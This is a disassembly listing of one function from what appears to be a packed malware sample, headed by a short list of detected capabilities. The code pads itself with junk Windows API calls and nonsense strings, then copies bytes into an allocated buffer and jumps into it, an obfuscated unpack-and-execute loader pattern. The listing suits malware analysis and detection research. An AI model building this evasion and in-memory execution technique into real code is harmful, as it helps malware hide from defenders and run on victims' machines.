Function at 0x4018fc
Capabilities:
Get common file path
Get disk size
Get file attributes
Set environment variable

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x10cc
call fcn.004125a0
push ebx
push esi
push edi
xor esi, esi
xor edi, edi
call dword [sym.imp.KERNEL32.dll_GetLastError]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
cmp edi, 0xfa62c8f
jge 0x401935
push esi
call dword [sym.imp.GDI32.dll_GetBkMode]
push esi
push esi
push esi
push esi
call dword [sym.imp.GDI32.dll_GetCharWidth32W]
cmp edi, 0x207142
jg 0x401946
inc edi
cmp edi, 0x67d12
jl 0x401910
cmp dword [0x246398c], 0x93
mov ebx, dword [sym.imp.USER32.dll_LoadMenuA]
jne 0x401a12
push esi
push esi
call dword [sym.imp.USER32.dll_GetWindowLongA]
mov edi, dword [sym.imp.GDI32.dll_CreateDCW]
push esi
push esi
push esi
push esi
call edi
push esi
push esi
lea eax, [ebp - 0x10c8]
push eax
push esi
push esi
call dword [sym.imp.USER32.dll_GetMenuStringW]
push esi
push esi
call ebx
push esi
push esi
push esi
push esi
call dword [sym.imp.USER32.dll_InsertMenuItemA]
push esi
lea eax, [ebp - 0x8c8]
push eax
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_FoldStringW]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_EnumSystemCodePagesA]
push esi
push esi
push esi
push esi
call edi
xor eax, eax
lock bts dword [eax], 0
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateHardLinkA]
push esi
lea eax, [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchangeAdd]
push 0x4471d4
push esi
call fcn.004048b0
push esi
call fcn.004047ba
add esp, 0xc
push esi
push esi
call fcn.004047e9
push esi
call fcn.004047a3
add esp, 0xc
lea eax, [ebp - 0xc8]
push eax
call fcn.0040260e
lea ecx, [ebp - 0x68]
call fcn.004026aa
lea eax, [ebp - 0x68]
push eax
mov dword [ebp - 0x68], vtable.std::ios_base.0
call fcn.00403605
pop ecx
add dword [0x246398c], 0x1134b
push dword [0x246398c]
mov eax, dword [0x44e1cc]
push esi
mov dword [0x24647c8], eax
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [0x2463418], eax
call fcn.00401882
mov edi, 0x1692e
push esi
push esi
call ebx
call dword [sym.imp.KERNEL32.dll_GetLastError]
dec edi
jne 0x401a42
cmp dword [0x246398c], esi
jbe 0x401ab7
mov eax, dword [0x24647c8]
mov al, byte [eax + edi + 0x1134b]
mov ecx, dword [0x2463418]
mov byte [ecx + edi], al
cmp dword [0x246398c], 0x490
jne 0x401aae
push esi
lea eax, [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchangeAdd]
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExA]
push str.Mipoxa_dem_buguda
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
lea eax, [ebp - 8]
push eax
push esi
lea eax, [ebp - 0x1c]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_ReadConsoleInputA]
call dword [sym.imp.KERNEL32.dll_DebugBreak]
inc edi
cmp edi, dword [0x246398c]
jb 0x401a57
xor edi, edi
mov eax, dword [0x246398c]
add eax, edi
cmp eax, 0x8d
jne 0x401afa
push esi
lea eax, [ebp - 0x8c8]
push eax
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_LCMapStringW]
push esi
push esi
call dword [sym.imp.USER32.dll_SetMenu]
push str.janomibefojidarise
push str.modojoyimedowotepo
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_OpenEventW]
inc edi
cmp edi, 0x38681
jl 0x401ab9
call fcn.00401782
xor edi, edi
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp edi, 0x61
jne 0x401b28
mov dword [ebp - 4], esi
add dword [ebp - 4], 0x116a8
mov eax, dword [ebp - 4]
add dword [0x2463418], eax
inc edi
cmp edi, 0x674bd
jl 0x401b0a
push 0x7b
pop edi
cmp dword [0x246398c], 0x86
jne 0x401b88
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
push esi
lea eax, [ebp - 0xcc8]
push eax
push str.nufepupalihewaxehazitiye
call dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
push esi
call dword [sym.imp.KERNEL32.dll_GlobalUnWire]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetThreadPriority]
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetFileTime]
push esi
call dword [sym.imp.KERNEL32.dll_SetComputerNameA]
push esi
lea eax, [ebp - 0x8c8]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
cmp dword [0x246398c], 0xf
jne 0x401b9c
push esi
lea eax, [ebp - 8]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
dec edi
jne 0x401b34
push str.msimg32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
call dword [0x2463418]
pop edi
pop esi
pop ebx
leave
ret